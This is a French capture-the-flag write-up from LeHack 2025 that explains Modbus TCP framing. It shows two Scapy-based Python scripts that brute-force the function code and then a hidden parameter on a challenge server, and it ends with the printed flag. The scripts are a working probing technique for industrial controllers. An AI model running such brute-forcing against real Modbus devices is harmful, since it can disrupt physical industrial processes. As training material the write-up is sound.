[LeHack] - Modbus
Sommaire
LeHack2025 - Cet article fait partie d'une série.
Introduction #
Un serveur Modbus incorrectement configuré est accessible depuis le domaine modbus_scolaire.wargame.rocks sur le port 1502 :
Rappels sur Modbus #
Modbus est un protocole de communication inventé en 1979 pour permettre à des équipements industriels (automates, capteurs, etc.) de communiquer entre eux.
Différents protocoles #
Il existe plusieurs variantes du protocole Modbus, selon le support de communication utilisé (série, réseau) et le format des données.
Voici un tableau récapitulatif :
Le challenge utilisant un serveur web sur le port 1502 pour communiquer les données, on peut facilement en déduire qu’on utilisera Modbus TCP/IP ici.
Construction d’une trame #
Un rappel rapide sur la construction d’un paquet Modbus est donné via l’énoncé du challenge, cependant je trouve la description de la page Wikipedia plus précise, la voici :
En résumé :
- Une trame Modbus classique (Modbus RTU ou ASCII) est transmise en série (fil à fil, bit par bit) alors qu’une trame Modbus TCP/IP est transmise par réseau (via Internet/Ethernet)
- Peu importe le protocole utilisé, un PDU (Protocol Data Unit) sera présent dans la trame. Le PDU contient le code de fonction (sur un octet) et des données avec une taille variable.
- La trame finale transmise est appelée ADU (Application Data Unit), elle diffère en fonction du protocole Modbus utilisé.
- Dans le cas d’un protocole Modbus classique, l’ADU est composée des adresses esclaves ou maître à qui il faut communiquer, du PDU et d’un code de vérification d’intégrité (checksum).
- Dans le cas d’un protocole Modbus TCP/IP, l’ADU est composée d’une entête MBAP (Modbus Application Protocol Header), d’un PDU et du code de vérification d’intégrité (checksum)
- L’entête MBAP contient les identifiants nécessaires à la communication : l’identifiant de transaction (permet de faire le lien entre la requête et sa réponse) sur 2 octets puis l’identifiant de protocole sur 2 octets (toujours 0 pour Modbus TCP/IP), la longueur de la trame sur 2 octets et l’identifiant de l’unité (qui identifie le serveur ou l’esclave à qui parler, un peu comme l’IP) sur un octet
Bruteforce du code de fonction #
Maintenant que nous savons comment construire une trame Modbus TCP/IP, nous pouvons communiquer avec le serveur du challenge.
Pour cela on peut utiliser la bibliothèque Python Scapy
, notamment via son module ModbusADURequest
.
Un serveur Modbus correctement configuré n’est pas censé accepter de trame contenant un code de fonction et des paramètres non prévus. Dans un cadre réel il faudrait trouver la documentation du serveur avec lequel on veut communiquer pour créer une trame valide.
Mais dans le cas de ce challenge si on essaie d’envoyer une trame avec un code de function non prévu et aucun paramètre on reçoit la réponse :
ACK\n
Le serveur indique donc qu’il a bien reçu la trame mais que rien ne se passe !
Le code de fonction étant positonné sur un octet (soit 256 valeurs possibles) on peut facilement essayer toutes les valeurs possibles pour voir si le serveur donne une réponse différente. Voici un script Python permettant de tester tous les codes de fonctions :
import socket
from scapy.contrib.modbus import ModbusADURequest
# Adresse du serveur Modbus à tester
host = "modbus_scolaire.wargame.rocks"
port = 1502
# Paramètres de base du paquet Modbus
trans_id = 0x1234 # valeur aléatoire
proto_id = 0x0000 # toujours 0
unit_id = 0xFF # 0xFF est une adresse spéciale qui signifie "tous les appareils", comme un broadcast
# Connexion au serveur
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
print(f"Connexion à {host}:{port} ...")
s.connect((host, port))
# Bruteforce sur tous les function codes possibles (1 octet)
for function_code in range(1, 256):
print(f"Test du function code : {function_code:#04x}")
# Entête MBAP
req = ModbusADURequest(
transId=trans_id,
protoId=proto_id,
unitId=unit_id
)
# PDU avec function_code bruteforce
payload = bytes([function_code, 0x00, 0x00]) # 0x00,0x00 = data fictive
# Trame complète
paquet = bytes(req) + payload
# Envoyer la trame
s.sendall(paquet)
# Lire la réponse
data = b""
try:
while len(data) == 0 or data[-1] != 0x0A: # attendre "\n"
data += s.recv(1)
except socket.timeout:
print("Temps écoulé. Pas de réponse.")
continue
# Filtrage -> ignorer les réponses neutres : 'ACK\n'
if data != b"ACK\n":
print(f"Fonction {function_code:#04x} → Réponse intéressante : {data.decode(errors='ignore')}")
Grâce à ce script, on trouve que le serveur répond avec un message différent lorsqu’on utilise le code de fonction 0x42 (= 66 en décimal) :
func42...55190239\n
Bruteforce des paramètres #
Il semblerait que le code de fonction 0x42 permette d’effectuer une action, cependant nous ne connaissons pas le nombre de paramètres attendus et encore moins leurs valeurs.
Vraiment ?
En regardant de plus près le retour du serveur avec le code de fonction 0x42 on se rend compte qu’il y a des points et des chiffres qui pourraient nous indiquer la trame à construire :
- ‘…’ correspondrait au paramètre à trouver
- ‘55190239’ correspondrait à 3 autres paramètres : 55, 190, 239
Si notre raisonnement est le bon, il ne nous reste qu’un seul paramètre à trouver, on peut utiliser la même technique que pour le code de fonction et essayer toutes les valeurs possibles (encore une fois cela fait 256 valeurs).
En ajustant notre premier code Python, on obtient :
import socket
from scapy.contrib.modbus import ModbusADURequest
host = "modbus_scolaire.wargame.rocks"
port = 1502
req = ModbusADURequest(
transId=0x42,
protoId=0x0,
unitId=0xff )
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
print(f"Connecting to {host}:{port} ...")
s.connect((host, port))
for i in range(255):
data = b""
s.sendall(bytes(req)+bytes([66,i,55,190,239])) # 66 correspondant au code de fonction 0x42, i correspond au paramètre à trouver, 55,190 et 239 sont les derniers paramètres indiqués par le serveur
while len(data)==0 or data[-1]!=0x0a:
data += s.recv(1)
if data!=b"ACK\n":
print(f"response ({i}): {data}")
Flag #
Bingo ! En exécutant ce script on trouve que le paramètre 0x13 (= 19 en décimal) retourne le flag !
🚩 Flag : LeHACK{unsafe_modbus_packets_4_win}